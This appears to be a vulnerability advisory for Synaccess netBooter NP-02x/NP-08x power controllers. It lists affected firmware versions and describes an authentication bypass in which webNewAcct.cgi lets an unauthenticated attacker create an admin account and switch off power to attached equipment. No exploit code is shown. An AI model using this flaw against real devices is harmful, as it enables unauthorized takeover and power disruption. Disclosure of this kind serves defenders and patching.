• Synaccess netBooter NP-02x/NP-08x 6.8 Authentication Bypass
  
  
  Vendor: Synaccess Networks Inc.
  Product web page: https://www.synaccess-net.com
  Affected version: NP-0201D (ver 6.8C)
  NP-02(ver 6.5C)
  NP-02(ver 6.4BC)
  NP-0801D (ver 6.4A)
  NP-08(ver 6.10)
  NP-02(ver 5.53BC)
  
  Summary: netBooter NP-02B and NP-02BH provide independent
  control of one or two outlets in a small, robust form factor.
  Manageable via TCP/IP network or direct serial connection
  and 1U brackets (optional) for mounting. Control power to
  your devices with the ability to fit just about anywhere.
  
  netBooter NP-0801DU and NP-0801DUH PDUs provide secured
  remote power source management of 8 independent outlets.
  Includes true RMS AC current reading and environment
  temperature monitoring* via TCP/IP networks or local direct
  connection.
  
  Desc: netBooter suffers from an authentication bypass
  vulnerability due to missing control check when calling
  webNewAcct.cgi script while creating users. This allows an
  unauthenticated attacker to create admin user account and
  bypass authentication giving her the power to turn off a
  power supply to a resource.
  
  Tested on: Synaccess server
